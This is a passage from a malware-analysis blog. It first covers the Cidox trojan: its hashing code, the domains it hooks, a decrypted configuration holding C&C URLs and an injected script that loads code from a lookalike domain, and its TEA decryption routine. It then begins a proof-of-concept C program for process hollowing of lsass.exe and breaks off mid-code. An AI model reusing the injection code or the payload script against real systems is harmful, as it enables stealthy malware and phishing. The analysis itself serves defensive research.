color="#990000">,</font> <font color="#993399">0</font><font color="#FF0000">}</font><font color="#990000">;</font> <font color="#009900">char</font> <font color="#990000">*</font>processvm_name<font color="#990000">[]</font> <font color="#990000">=</font> <font color="#FF0000">{</font><font color="#FF0000">"vmtoolsd.exe"</font><font color="#990000">,</font> <font color="#FF0000">"VMUpgradeHelper.exe"</font><font color="#990000">,</font> <font color="#FF0000">"TPAutoConnSvc.exe"</font><font color="#990000">,</font> <font color="#FF0000">"VMwareTray.exe"</font><font color="#990000">,</font> <font color="#FF0000">"VMwareUser.exe"</font><font color="#990000">,</font> <font color="#FF0000">"vmacthlp.exe"</font><font color="#990000">,</font> <font color="#993399">0</font> <font color="#FF0000">}</font><font color="#990000">;</font> <font color="#009900">int</font> <b><font color="#000000">cidox_hash_func</font></b><font color="#990000">(</font><font color="#009900">char</font> <font color="#990000">*</font>name<font color="#990000">)</font> <font color="#FF0000">{</font> <font color="#009900">int</font> sum <font color="#990000">=</font> <font color="#990000">-</font><font color="#993399">1</font><font color="#990000">,</font> i<font color="#990000">,</font> is<font color="#990000">;</font> <font color="#009900">int</font> actual_chr<font color="#990000">;</font> <b><font color="#0000FF">while</font></b> <font color="#990000">(*</font>name<font color="#990000">)</font> <font color="#FF0000">{</font> actual_chr <font color="#990000">=</font> <font color="#990000">*</font>name<font color="#990000">;</font> <b><font color="#0000FF">if</font></b> <font color="#990000">(</font>actual_chr <font color="#990000">&gt;=</font> <font color="#993399">0x41</font> <font color="#990000">&amp;&amp;</font> actual_chr <font color="#990000">&lt;=</font> <font color="#993399">0x5a</font><font color="#990000">)</font> actual_chr <font color="#990000">+=</font> <font color="#993399">0x20</font><font color="#990000">;</font> sum <font color="#990000">=</font> actual_chr <font color="#990000">^</font> sum<font color="#990000">;</font> <b><font color="#0000FF">for</font></b> <font color="#990000">(</font>i <font color="#990000">=</font> <font color="#993399">0</font><font color="#990000">;</font> i <font color="#990000">&lt;</font> <font color="#993399">8</font><font color="#990000">;</font> i<font color="#990000">++)</font> <font color="#FF0000">{</font> is <font color="#990000">=</font> sum <font color="#990000">&amp;</font> <font color="#993399">0x1</font><font color="#990000">;</font> sum <font color="#990000">=</font> <font color="#990000">(</font><font color="#009900">unsigned</font> <font color="#009900">int</font><font color="#990000">)</font>sum <font color="#990000">&gt;&gt;</font> <font color="#993399">1</font><font color="#990000">;</font> <b><font color="#0000FF">if</font></b> <font color="#990000">(</font>is<font color="#990000">)</font> sum <font color="#990000">^=</font> <font color="#993399">0xEDB88320</font><font color="#990000">;</font> <font color="#FF0000">}</font> name<font color="#990000">++;</font> <font color="#FF0000">}</font> <b><font color="#0000FF">return</font></b> <font color="#990000">(~</font>sum<font color="#990000">);</font> <font color="#FF0000">}</font> <font color="#009900">int</font> <b><font color="#000000">is_in_list_hash</font></b><font color="#990000">(</font><font color="#009900">int</font> <font color="#990000">*</font>list_hash<font color="#990000">,</font> <font color="#009900">int</font> hash<font color="#990000">)</font> <font color="#FF0000">{</font> <b><font color="#0000FF">while</font></b> <font color="#990000">(*</font>list_hash<font color="#990000">)</font> <font color="#FF0000">{</font> <b><font color="#0000FF">if</font></b> <font color="#990000">(*</font>list_hash <font color="#990000">==</font> hash<font color="#990000">)</font> <b><font color="#0000FF">return</font></b> <font color="#990000">(</font><font color="#993399">1</font><font color="#990000">);</font> list_hash<font color="#990000">++;</font> <font color="#FF0000">}</font> <b><font color="#0000FF">return</font></b> <font color="#990000">(</font><font color="#993399">0</font><font color="#990000">);</font> <font color="#FF0000">}</font> <font color="#009900">int</font> <b><font color="#000000">length_list_hash</font></b><font color="#990000">(</font><font color="#009900">int</font> <font color="#990000">*</font>list_hash<font color="#990000">)</font> <font color="#FF0000">{</font> <font color="#009900">int</font> nb <font color="#990000">=</font> <font color="#993399">0</font><font color="#990000">;</font> <b><font color="#0000FF">while</font></b> <font color="#990000">(*</font>list_hash<font color="#990000">)</font> <font color="#FF0000">{</font> nb<font color="#990000">++;</font> list_hash<font color="#990000">++;</font> <font color="#FF0000">}</font> <b><font color="#0000FF">return</font></b> <font color="#990000">(</font>nb<font color="#990000">);</font> <font color="#FF0000">}</font> <font color="#009900">void</font> <b><font color="#000000">check</font></b><font color="#990000">(</font><font color="#009900">char</font> <font color="#990000">**</font>list_to_check<font color="#990000">,</font> <font color="#009900">int</font> <font color="#990000">*</font>list_hash<font color="#990000">,</font> <font color="#009900">int</font> <font color="#990000">(*</font>generate_hash<font color="#990000">)(</font><font color="#009900">char</font> <font color="#990000">*</font>name<font color="#990000">),</font> <font color="#009900">char</font> <font color="#990000">*</font>wat<font color="#990000">)</font> <font color="#FF0000">{</font> <font color="#009900">int</font> hash<font color="#990000">;</font> <font color="#009900">int</font> len_list <font color="#990000">=</font> <font color="#993399">0</font><font color="#990000">;</font> <font color="#009900">int</font> found <font color="#990000">=</font> <font color="#993399">0</font><font color="#990000">;</font> <b><font color="#000000">printf</font></b><font color="#990000">(</font><font color="#FF0000">"</font><font color="#CC33CC">\t</font><font color="#FF0000">[+] Now checking .: %s :.</font><font color="#CC33CC">\n\n</font><font color="#FF0000">"</font><font color="#990000">,</font> wat<font color="#990000">);</font> len_list <font color="#990000">=</font> <b><font color="#000000">length_list_hash</font></b><font color="#990000">(</font>list_hash<font color="#990000">);</font> <b><font color="#0000FF">while</font></b> <font color="#990000">(*</font>list_to_check<font color="#990000">)</font> <font color="#FF0000">{</font> hash <font color="#990000">=</font> <b><font color="#000000">generate_hash</font></b><font color="#990000">(*</font>list_to_check<font color="#990000">);</font> <b><font color="#0000FF">if</font></b> <font color="#990000">(</font><b><font color="#000000">is_in_list_hash</font></b><font color="#990000">(</font>list_hash<font color="#990000">,</font> hash<font color="#990000">))</font> <font color="#FF0000">{</font> <b><font color="#000000">printf</font></b><font color="#990000">(</font><font color="#FF0000">"%s</font><font color="#CC33CC">\t\t</font><font color="#FF0000">is present with Hash ( 0x%08x )</font><font color="#CC33CC">\n</font><font color="#FF0000">"</font><font color="#990000">,</font> <font color="#990000">*</font>list_to_check<font color="#990000">,</font> hash<font color="#990000">);</font> found<font color="#990000">++;</font> <font color="#FF0000">}</font> list_to_check<font color="#990000">++;</font> <font color="#FF0000">}</font> <b><font color="#000000">printf</font></b><font color="#990000">(</font><font color="#FF0000">"</font><font color="#CC33CC">\n\t</font><font color="#FF0000">[+] Result .: %d Found / %d Total (%d%%) :.</font><font color="#CC33CC">\n\n</font><font color="#FF0000">"</font><font color="#990000">,</font> found<font color="#990000">,</font> len_list<font color="#990000">,</font> <font color="#990000">(</font>found <font color="#990000">*</font> <font color="#993399">100</font> <font color="#990000">/</font> len_list <font color="#990000">*</font> <font color="#993399">100</font><font color="#990000">)</font> <font color="#990000">/</font> <font color="#993399">100</font><font color="#990000">);</font> <font color="#FF0000">}</font> <font color="#009900">void</font> <b><font color="#000000">launch_check</font></b><font color="#990000">()</font> <font color="#FF0000">{</font> <b><font color="#000000">check</font></b><font color="#990000">(</font>process_name<font color="#990000">,</font> hash_executable_name<font color="#990000">,</font> cidox_hash_func<font color="#990000">,</font> <font color="#FF0000">"</font><font color="#CC33CC">\"</font><font color="#FF0000">Process Name</font><font color="#CC33CC">\"</font><font color="#FF0000">"</font><font color="#990000">);</font> <b><font color="#000000">check</font></b><font color="#990000">(</font>av_program_files<font color="#990000">,</font> hash_program_files<font color="#990000">,</font> cidox_hash_func<font color="#990000">,</font> <font color="#FF0000">"</font><font color="#CC33CC">\"</font><font color="#FF0000">AV Program Files</font><font color="#CC33CC">\"</font><font color="#FF0000">"</font><font color="#990000">);</font> <b><font color="#000000">check</font></b><font color="#990000">(</font>processvm_name<font color="#990000">,</font> hash_process_vm<font color="#990000">,</font> cidox_hash_func<font color="#990000">,</font> <font color="#FF0000">"</font><font color="#CC33CC">\"</font><font color="#FF0000">Process VM Name</font><font color="#CC33CC">\"</font><font color="#FF0000">"</font><font color="#990000">);</font> <font color="#FF0000">}</font></tt></pre> <p>Here is an output from the program to test which browser was in this table :</p> <pre><code>\IEXPLORE.EXE is present with Hash ( 0x244cc8b2 ) \FIREFOX.EXE is present with Hash ( 0x9dc03f1e ) \CHROME.EXE is present with Hash ( 0x66b49b77 ) \SAFARI.EXE is present with Hash ( 0x7207b507 ) \OPERA.EXE is present with Hash ( 0x80d1f7cf ) \SVCHOST.EXE is present with Hash ( 0x9006a423 )</code></pre> <p>As you can see, I just found 6 process name on the 7 hash, so if you have some idea, you can leave me a comment :], but it's not very important.<br/> The main thing this dll does is hooking several functions from ws2_32.dll :</p> <ul> <li>send()</li> <li>select()</li> <li>recv()</li> <li>ioctlselect()</li> <li>connect()</li> <li>closesocket()</li> <li>WSASocketW()</li> <li>WSASend()</li> <li>WSARecv()</li> <li>WSAGetOverLappedResult()</li> <li>WSASetEventSelect()</li> <li>WSAEnumNetworkEvents()</li> <li>WSAConnect()</li> <li>WSAAsyncSelect()</li> </ul> <p>Theses hooks are setup for redirecting you on phising website when you go on :</p> <ul> <li>help.vkontakte.ru</li> <li>help.mail.ru</li> <li>admin.vkontakte.ru</li> <li>update.microsoft.com</li> <li>update.mozilla.org</li> <li>download.opera.com</li> <li>chrome.google.com</li> <li>official.odnoklassniki.ru</li> <li>rushotgirls.com (#lulz)</li> <li>internet.com</li> <li>*.co.cc</li> </ul> <p>Each time your browser window name changes, it will try to contact their command and control server (C&amp;C), to update an interesting configuration file, that you can find into : &quot;C:Documents and SettingsAll UsersApplication Data&quot; under the name &quot;cf&quot;.<br/> At the end of this post you can find a toolz to decrypt this configuration file : <br/></p> <pre><code>GJD747310F000C29177C1B0000............................................................................... .................................................................................................................... .................................................................................................................... .................................................................................................................... .................................................................................................................... .........30.yandexapps.com/loPtfdn3dSasoicn/get.php?key=.&id=.&os=.&av=.&vm=.&al=.&p=.&z=351.gcoglestats.com/loPtfdn 3dSasoicn/get.php?key=.&id=.&os=.&av=.&vm=.&al=.&p=.&z=351.msn-dns.com/loPtfdn3dSasoicn/get.php?key=.&id=.&os=.&av=. &vm=.&al=.&p=.&z=351.94.102.49.64/loPtfdn3dSasoicn/get.php?key=.&id=.&os=.&av=.&vm=.&al=.&p=.&z=351..<script>if(self ==top){document.write("<script src='http" + (("https:" == document.location.protocol) ? "s" : "") +"://gcoglestats.c om/loPtfdn3dSasoicn/js.php?t=stat&ran="+encodeURIComponent(".key=.&id=.&p=..")+"&r="+escape(document.referrer)+"&u=" +escape(document.URL)+"&v=351&"+Math.random()+"'>"+unescape("%3C/script%3E"));}</script>..</body>..youtube.com.t/ter ms..0.yandexapps.com/yt_lxegvj4efc/tube.php?uid=.&id=.&url=...help.vkontakte.ru...0.yandexapps.com/lo_nhyg38deijiwsx /vhelp.php?uid=.&id=.&url=...help.mail.ru...0.yandexapps.com/ma_ghjkmnbgvfrt/mail.php?uid=.&id=.&url=...admin.vkonta kte.ru...0.yandexapps.com/lo_nhyg38deijiwsx/kr_vnhuirw43/vadmin.php?uid=.&id=.&url=...update.microsoft.com...0.yande xapps.com/bt_pdfn3skxler/index.php?uid=.&id=.&url=...update.mozilla.org...0.yandexapps.com/bt_pdfn3skxler/index.php? uid=.&id=.&url=...download.opera.com...0.yandexapps.com/bt_pdfn3skxler/index.php?uid=.&id=.&url=...chrome.google.com ...0.yandexapps.com/bt_pdfn3skxler/index.php?uid=.&id=.&url=...official.odnoklassniki.ru...0.yandexapps.com/od_xafhu y2ed/ohelp.php?uid=.&id=.&url=...rushotgirls.com...0.yandexapps.com/bn_9iknfbcgtl/index.php?uid=.&id=.&url=...intern et.com...0.yandexapps.com/in_xbvgyui3vf/index.php?uid=.&id=.&url=...*.co.cc...0.www.yandex.ru/...yandexapps.com/loPt fdn3dSasoicn/post.php?id=.&form=.&url=...!CFG............</code></pre> <p>My toolz is written in assembly language, so for those who are not familiar with this language, here is their custom TEA algo :</p> <pre><tt><font color="#009900">int</font> fEKey<font color="#990000">[</font><font color="#993399">4</font><font color="#990000">]</font> <font color="#990000">=</font> <font color="#FF0000">{</font><font color="#993399">0xB440b08B</font><font color="#990000">,</font> <font color="#993399">0xACFA7304</font><font color="#990000">,</font> <font color="#993399">0x9FCAEAEA</font><font color="#990000">,</font> <font color="#993399">0x1546b9A5</font><font color="#FF0000">}</font><font color="#990000">;</font> <font color="#009900">void</font> <b><font color="#000000">TeaDecipher</font></b><font color="#990000">(</font><font color="#009900">unsigned</font> <font color="#009900">int</font><font color="#990000">*</font> buf<font color="#990000">)</font> <font color="#FF0000">{</font> <font color="#009900">unsigned</font> <font color="#009900">int</font> second<font color="#990000">,</font> first<font color="#990000">;</font> <font color="#009900">unsigned</font> <font color="#009900">int</font> key <font color="#990000">=</font> <font color="#993399">0xC6EF3720</font><font color="#990000">;</font> second <font color="#990000">=</font> <b><font color="#000000">_byteswap_ulong</font></b><font color="#990000">(</font>buf<font color="#990000">[</font><font color="#993399">1</font><font color="#990000">]);</font> first <font color="#990000">=</font> <b><font color="#000000">_byteswap_ulong</font></b><font color="#990000">(</font>buf<font color="#990000">[</font><font color="#993399">0</font><font color="#990000">]);</font> <b><font color="#0000FF">for</font></b> <font color="#990000">(</font><font color="#009900">int</font> i <font color="#990000">=</font> <font color="#993399">0</font><font color="#990000">;</font> i <font color="#990000">&lt;</font> <font color="#993399">32</font><font color="#990000">;</font> i<font color="#990000">++)</font> <font color="#FF0000">{</font> second <font color="#990000">-=</font> <font color="#990000">(((</font>first <font color="#990000">&gt;&gt;</font> <font color="#993399">5</font><font color="#990000">)</font> <font color="#990000">^</font> <font color="#990000">(</font>first <font color="#990000">&lt;&lt;</font> <font color="#993399">4</font><font color="#990000">))</font> <font color="#990000">+</font> first<font color="#990000">)</font> <font color="#990000">^</font> <font color="#990000">(</font>fEKey<font color="#990000">[(</font>key <font color="#990000">&gt;&gt;</font> <font color="#993399">11</font><font color="#990000">)</font> <font color="#990000">&amp;</font> <font color="#993399">3</font><font color="#990000">]</font> <font color="#990000">+</font> key<font color="#990000">);</font> key <font color="#990000">+=</font> <font color="#993399">0x61C88647</font><font color="#990000">;</font> first <font color="#990000">-=</font> <font color="#990000">(((</font>second <font color="#990000">&gt;&gt;</font> <font color="#993399">5</font><font color="#990000">)</font> <font color="#990000">^</font> <font color="#990000">(</font>second <font color="#990000">&lt;&lt;</font> <font color="#993399">4</font><font color="#990000">))</font> <font color="#990000">+</font> second<font color="#990000">)</font> <font color="#990000">^</font> <font color="#990000">(</font>fEKey<font color="#990000">[</font>key <font color="#990000">&amp;</font> <font color="#993399">3</font><font color="#990000">]</font> <font color="#990000">+</font> key<font color="#990000">);</font> <font color="#FF0000">}</font> second <font color="#990000">=</font> <b><font color="#000000">_byteswap_ulong</font></b><font color="#990000">(</font>second<font color="#990000">);</font> first <font color="#990000">=</font> <b><font color="#000000">_byteswap_ulong</font></b><font color="#990000">(</font>first<font color="#990000">);</font> buf<font color="#990000">[</font><font color="#993399">0</font><font color="#990000">]</font> <font color="#990000">=</font> first <font color="#990000">^</font> buf<font color="#990000">[-</font><font color="#993399">2</font><font color="#990000">];</font> buf<font color="#990000">[</font><font color="#993399">1</font><font color="#990000">]</font> <font color="#990000">=</font> second <font color="#990000">^</font> buf<font color="#990000">[-</font><font color="#993399">1</font><font color="#990000">];</font> <font color="#FF0000">}</font> <font color="#009900">void</font> <b><font color="#000000">decy</font></b><font color="#990000">(</font><font color="#009900">unsigned</font> <font color="#009900">char</font> <font color="#990000">*</font>buf<font color="#990000">,</font> <font color="#009900">int</font> size<font color="#990000">)</font> <font color="#FF0000">{</font> <font color="#009900">int</font> i<font color="#990000">;</font> <b><font color="#0000FF">for</font></b> <font color="#990000">(</font>i <font color="#990000">=</font> size <font color="#990000">/</font> <font color="#993399">4</font><font color="#990000">;</font> i <font color="#990000">&gt;</font> <font color="#993399">0</font><font color="#990000">;</font> i <font color="#990000">-=</font> <font color="#993399">2</font><font color="#990000">)</font> <b><font color="#000000">TeaDecipher</font></b><font color="#990000">((</font><font color="#009900">unsigned</font> <font color="#009900">int</font><font color="#990000">*)(</font>buf <font color="#990000">+</font> i <font color="#990000">*</font> <font color="#993399">4</font><font color="#990000">));</font> <font color="#FF0000">}</font></tt></pre> <p>When the dll is inside a svchost process, the infection remains persistant, by checking if the configuration file exist, or if AppInits_DLL is set ; but they failed on one thing, the dll file, for desinfecting your pc you have just to rename the dll (my toolz checks if you are infected too and generate for you the name of the dll), and reboot your computer ( not my toolz ;) ).<br/></p> <p>A last thing that I wasn't able to study is the fact that some times, command and control drops a new executable, and createprocess() after decyphering it.<br/> But it didn't drop me this PE, its name is &quot;ru&quot;, because I saw his name when it try to write it at location : &quot;C:\Documents and Settings\All Users\Application Data&quot;.</p> <h2>Toolz</h2> <p><img src="/public/cidox_work/cidox_toolz.png" alt="cidox_toolz.png" /><br/></p> <p>Link <a href="/public/cidox_work/cidox_toolz.rar">Source.rar</a>.</p> <h2>Conclusion</h2> <p>This version of Cidox was not very interesting, 6 months ago, they used VBR infection and dropped a driver, maybe I will study this version soon for having more fun :].</p> http://blog.w4kfu.compost/Cidox 2011-11-22T23:39:57Z 2011-11-22T23:39:57Z New method of injection w4kfu <h2>Introduction</h2> <p>I disovered a new method of injection (I don't know if it is really new) in a malware dropped by <a href="http://www.symantec.com/connect/w32_duqu_precursor_next_stuxnet">duqu</a>.<br/> So I want to share it with you and as usual write a p0c.<br/> Edit : This method is not new, apparently it have been using by game cheats for years, but instead of using ZwUnmapViewOfSection they use FreeLibrary.</p> <h2>Injection Method</h2> <p>The malware in question is simply a keylogger, but it uses a nice tricks for injecting into another process.<br/> First it will create (as usual) a suspended lsass.exe process via <a href="http://msdn.microsoft.com/en-us/library/windows/desktop/ms682425(v=vs.85).aspx">CreateProcess()</a>.<br/> Then it will gather process information via <a href="http://msdn.microsoft.com/en-us/library/windows/desktop/ms687420(v=vs.85).aspx">ZwQueryInformationProcess()</a>, especially PebBaseAddress.<br/> But what can he do with this address, if we look at PEB struct :<br/></p> <pre>>dt nt!_PEB +0x000 InheritedAddressSpace : UChar +0x001 ReadImageFileExecOptions : UChar +0x002 BeingDebugged : UChar +0x003 SpareBool : UChar +0x004 Mutant : Ptr32 Void +0x008 ImageBaseAddress : Ptr32 Void </pre> <p>It will get the ImageBaseAddress at offset 0x8, by reading it with <a href="http://msdn.microsoft.com/en-us/library/windows/desktop/ms680553(v=vs.85).aspx">ReadProcessMemory()</a>.<br/> First it create a section with <a href="http://msdn.microsoft.com/en-us/library/windows/hardware/ff566428(v=vs.85).aspx">ZwCreateSection()</a>, then it will in the actual process (not in lsass.exe supended), <a href="http://msdn.microsoft.com/en-us/library/windows/hardware/ff566481(v=vs.85).aspx">ZwMapViewOfSection()</a> with argument BaseAdress equal to 0, copy old lsass.exe PE image and modify entry point, he will do the same operation on lsass.exe process but with BaseAdress equal to BaseImage, but wait ! if we read the documentation of ZwMapViewOfSection, we will get a NTSTATUS equal to STATUS_CONFLICTING_ADDRESSES, and the answer is no, because before the second ZwMapViewOfSection, it will perform <a href="http://msdn.microsoft.com/en-us/library/windows/hardware/ff567119(v=vs.85).aspx">ZwUnmapViewOfSection()</a> with BaseAddress equal to ImageBaseAddress on lsass.exe process.<br/> And if you wonder : &quot;Wait what !? is it possible ?&quot;, and the answer is yes.<br/> With this tricks the malware is able to replace ALL the PE image of the suspended process.<br/></p> <h2>p0c</h2> <p>So I decided to rewrite this tricks, to well understand the stuff done by the malware ( maybe you will better understand what I explained before ).<br/> Tested under Windows XP SP3, and Windows Seven SP1 (32 bits).<br/></p> <p>Main.c :</p> <pre><tt><b><font color="#000080">#include</font></b> <font color="#FF0000">"main.h"</font> <font color="#009900">int</font> <b><font color="#000000">get_entrypoint</font></b><font color="#990000">(</font><font color="#009900">char</font> <font color="#990000">*</font>read_proc<font color="#990000">)</font> <font color="#FF0000">{</font> <font color="#008080">IMAGE_DOS_HEADER</font> <font color="#990000">*</font>idh <font color="#990000">=</font> NULL<font color="#990000">;</font> <font color="#008080">IMAGE_NT_HEADERS</font> <font color="#990000">*</font>inh <font color="#990000">=</font> NULL<font color="#990000">;</font> idh <font color="#990000">=</font> <font color="#990000">(</font>IMAGE_DOS_HEADER<font color="#990000">*)</font>read_proc<font color="#990000">;</font> inh <font color="#990000">=</font> <font color="#990000">(</font>IMAGE_NT_HEADERS <font color="#990000">*)((</font>BYTE<font color="#990000">*)</font>read_proc <font color="#990000">+</font> idh<font color="#990000">-&gt;</font>e_lfanew<font color="#990000">);</font> <b><font color="#000000">printf</font></b><font color="#990000">(</font><font color="#FF0000">"Entrypoint = %x</font><font color="#CC33CC">\n</font><font color="#FF0000">"</font><font color="#990000">,</font> inh<font color="#990000">-&gt;</font>OptionalHeader<font color="#990000">.</font>AddressOfEntryPoint<font color="#990000">);</font> <b><font color="#0000FF">return</font></b> <font color="#990000">(</font>inh<font color="#990000">-&gt;</font>OptionalHeader<font color="#990000">.</font>AddressOfEntryPoint<font color="#990000">);</font> <font color="#FF0000">}</font> <font color="#009900">int</font> <b><font color="#000000">main</font></b><font color="#990000">(</font><font color="#009900">void</font><font color="#990000">)</font> <font color="#FF0000">{</font> <font color="#008080">STARTUPINFO</font> si<font color="#990000">;</font> <font color="#008080">PROCESS_INFORMATION</font> pi<font color="#990000">;</font> <font color="#009900">char</font> path_lsass<font color="#990000">[</font><font color="#993399">260</font><font color="#990000">];</font> <font color="#008080">PROCESS_BASIC_INFORMATION</font> pbi<font color="#990000">;</font> <font color="#008080">DWORD</font> nb_read<font color="#990000">;</font> <font color="#008080">DWORD</font> ImageBase<font color="#990000">;</font> <font color="#008080">HANDLE</font> hsect<font color="#990000">;</font> <font color="#008080">NTSTATUS</font> stat<font color="#990000">;</font> <font color="#008080">PVOID</font> BaseAddress <font color="#990000">=</font> NULL<font color="#990000">;</font> <font color="#008080">PVOID</font> BaseAddress2 <font color="#990000">=</font> NULL<font color="#990000">;</font> <font color="#008080">DWORD</font> oep<font color="#990000">;</font> <b><font color="#000000">memset</font></b><font color="#990000">(&amp;</font>si<font color="#990000">,</font> <font color="#993399">0</font><font color="#990000">,</font> <b><font color="#0000FF">sizeof</font></b><font color="#990000">(</font>STARTUPINFO<font color="#990000">));</font> si<font color="#990000">.</font>cb <font color="#990000">=</font> <b><font color="#0000FF">sizeof</font></b><font color="#990000">(</font>STARTUPINFO<font color="#990000">);</font> <b><font color="#000000">memset</font></b><font color="#990000">(&amp;</font>pi<font color="#990000">,</font> <font color="#993399">0</font><font color="#990000">,</font> <b><font color="#0000FF">sizeof</font></b><font color="#990000">(</font>PROCESS_INFORMATION<font color="#990000">));</font> <b><font color="#000000">memset</font></b><font color="#990000">(&amp;</font>pbi<font color="#990000">,</font> <font color="#993399">0</font><font color="#990000">,</font> <b><font color="#0000FF">sizeof</font></b><font color="#990000">(</font>PROCESS_BASIC_INFORMATION<font color="#990000">));</font> <b><font color="#000000">ExpandEnvironmentStrings</font></b><font color="#990000">(</font>L<font color="#FF0000">"%SystemRoot%</font><font color="#CC33CC">\\</font><font color="#FF0000">system32</font><font color="#CC33CC">\\</font><font color="#FF0000">lsass.exe"</font><font color="#990000">,</font> <font color="#990000">(</font>LPWSTR<font color="#990000">)</font>path_lsass<font color="#990000">,</font> <font color="#993399">260</font><font color="#990000">);</font> <b><font color="#000000">wprintf</font></b><font color="#990000">(</font>L<font color="#FF0000">"[+] New Path for lsasse.exe = %s</font><font color="#CC33CC">\n</font><font color="#FF0000">"</font><font color="#990000">,</font> path_lsass<font color="#990000">);</font> <b><font color="#0000FF">if</font></b> <font color="#990000">(!</font><b><font color="#000000">CreateProcess</font></b><font color="#990000">((</font>LPWSTR<font color="#990000">)</font>path_lsass<font color="#990000">,</font> NULL<font color="#990000">,</font> NULL<font color="#990000">,</font> NULL<font color="#990000">,</font> NULL<font color="#990000">,</font> CREATE_SUSPENDED<font color="#990000">|</font>DETACHED_PROCESS<font color="#990000">|</font>CREATE_NO_WINDOW<font color="#990000">,</font> NULL<font color="#990000">,</font> NULL<font color="#990000">,</font> <font color="#990000">&amp;</font>si<font color="#990000">,</font> <font color="#990000">&amp;</font>pi<font color="#990000">))</font> <font color="#FF0000">{</font> <b><font color="#000000">printf</font></b><font color="#990000">(</font><font color="#FF0000">"[-] CreateProcessW failed</font><font color="#CC33CC">\n</font><font color="#FF0000">"</font><font color="#990000">);</font> <b><font color="#000000">printf</font></b><font color="#990000">(</font><font color="#FF0000">"LatError = %x</font><font color="#CC33CC">\n</font><font color="#FF0000">"</font><font color="#990000">,</font> <b><font color="#000000">GetLastError</font></b><font color="#990000">());</font> <b><font color="#0000FF">return</font></b> <font color="#990000">(-</font><font color="#993399">1</font><font color="#990000">);</font> <font color="#FF0000">}</font> ZwQueryInformationProcess <font color="#990000">=</font> <font color="#990000">(</font><font color="#009900">long</font> <font color="#990000">(</font><b><font color="#0000FF">__stdcall</font></b> <font color="#990000">*)(</font>HANDLE<font color="#990000">,</font> PROCESSINFOCLASS<font color="#990000">,</font> PVOID<font color="#990000">,</font> ULONG<font color="#990000">,</font> PULONG<font color="#990000">))</font><b><font color="#000000">GetProcAddress</font></b><font color="#990000">(</font><b><font color="#000000">GetModuleHandleA</font></b><font color="#990000">(</font><font color="#FF0000">"ntdll"</font><font color="#990000">),</font><font color="#FF0000">"ZwQueryInformationProcess"</font><font color="#990000">);</font> ZwMapViewOfSection <font color="#990000">=</font> <font color="#990000">(</font><font color="#009900">long</font> <font color="#990000">(</font><b><font color="#0000FF">__stdcall</font></b> <font color="#990000">*)(</font>HANDLE<font color="#990000">,</font>HANDLE<font color="#990000">,</font>PVOID <font color="#990000">*,</font>ULONG_PTR<font color="#990000">,</font>SIZE_T<font color="#990000">,</font>PLARGE_INTEGER<font color="#990000">,</font>PSIZE_T<font color="#990000">,</font>DWORD<font color="#990000">,</font>ULONG<font color="#990000">,</font>ULONG<font color="#990000">))</font><b><font color="#000000">GetProcAddress</font></b><font color="#990000">(</font><b><font color="#000000">GetModuleHandleA</font></b><font color="#990000">(</font><font color="#FF0000">"ntdll"</font><font color="#990000">),</font><font color="#FF0000">"ZwMapViewOfSection"</font><font color="#990000">);</font> ZwUnmapViewOfSection <font color="#990000">=</font> <font color="#990000">(</font><font color="#009900">long</font> <font color="#990000">(</font><b><font color="#0000FF">__stdcall</font></b> <font color="#990000">*)(</font>HANDLE<font color="#990000">,</font> PVOID<font color="#990000">))</font><b><font color="#000000">GetProcAddress</font></b><font color="#990000">(</font><b><font color="#000000">GetModuleHandleA</font></b><font color="#990000">(</font><font color="#FF0000">"ntdll"</font><font color="#990000">),</font><font color="#FF0000">"ZwUnmapViewOfSection"</font><font color="#990000">);</font> ZwCreateSection <font color="#990000">=</font> <font color="#990000">(</font><font color="#009900">long</font> <font color="#990000">(</font><b><font color="#0000FF">__stdcall</font></b> <font color="#990000">*)(</font>PHANDLE<font color="#990000">,</font>ACCESS_MASK<font color="#990000">,</font>PDWORD<font color="#990000">,</font>PLARGE_INTEGER<font color="#990000">,</font>ULONG<font color="#990000">,</font>ULONG<font color="#990000">,</font>HANDLE<font color="#990000">))</font><b><font color="#000000">GetProcAddress</font></b><font color="#990000">(</font><b><font color="#000000">GetModuleHandleA</font></b><font color="#990000">(</font><font color="#FF0000">"ntdll"</font><font color="#990000">),</font><font color="#FF0000">"ZwCreateSection"</font><font color="#990000">);</font> <b><font color="#0000FF">if</font></b> <font color="#990000">(</font>ZwMapViewOfSection <font color="#990000">==</font> NULL <font color="#990000">||</font> ZwQueryInformationProcess <font color="#990000">==</font> NULL <font color="#990000">||</font> ZwUnmapViewOfSection <font color="#990000">==</font> NULL <font color="#990000">||</font> ZwCreateSection <font color="#990000">==</font> NULL<font color="#990000">)</font> <font color="#FF0000">{</font> <b><font color="#000000">printf</font></b><font color="#990000">(</font><font color="#FF0000">"[-] GetProcAddress failed</font><font color="#CC33CC">\n</font><font color="#FF0000">"</font><font color="#990000">);</font> <b><font color="#0000FF">return</font></b> <font color="#990000">(-</font><font color="#993399">1</font><font color="#990000">);</font> <font color="#FF0000">}</font> <b><font color="#0000FF">if</font></b> <font color="#990000">(</font><b><font color="#000000">ZwQueryInformationProcess</font></b><font color="#990000">(</font>pi<font color="#990000">.</font>hProcess<font color="#990000">,</font> <font color="#993399">0</font><font color="#990000">,</font> <font color="#990000">&amp;</font>pbi<font color="#990000">,</font> <b><font color="#0000FF">sizeof</font></b><font color="#990000">(</font>PROCESS_BASIC_INFORMATION<font color="#990000">),</font> NULL<font color="#990000">)</font> <font color="#990000">!=</font> <font color="#993399">0</font><font color="#990000">)</font> <font color="#FF0000">{</font> <b><font color="#000000">printf</font></b><font color="#990000">(</font><font color="#FF0000">"[-] ZwQueryInformation failed</font><font color="#CC33CC">\n</font><font color="#FF0000">"</font><font color="#990000">);</font> <b><font color="#0000FF">return</font></b> <font color="#990000">(-</font><font color="#993399">1</font><font color="#990000">);</font> <font color="#FF0000">}</font> <b><font color="#000000">printf</font></b><font color="#990000">(</font><font color="#FF0000">"[+] UniqueProcessID = 0x%x</font><font color="#CC33CC">\n</font><font color="#FF0000">"</font><font color="#990000">,</font> pbi<font color="#990000">.</font>UniqueProcessId<font color="#990000">);</font> <b><font color="#0000FF">if</font></b> <font color="#990000">(!</font><b><font color="#000000">ReadProcessMemory</font></b><font color="#990000">(</font>pi<font color="#990000">.</font>hProcess<font color="#990000">,</font> <font color="#990000">(</font>BYTE<font color="#990000">*)</font>pbi<font color="#990000">.</font>PebBaseAddress <font color="#990000">+</font> <font color="#993399">8</font><font color="#990000">,</font> <font color="#990000">&amp;</font>ImageBase<font color="#990000">,</font> <font color="#993399">4</font><font color="#990000">,</font> <font color="#990000">&amp;</font>nb_read<font color="#990000">)</font> <font color="#990000">&amp;&amp;</font> nb_read <font color="#990000">!=</font> <font color="#993399">4</font><font color="#990000">)</font> <font 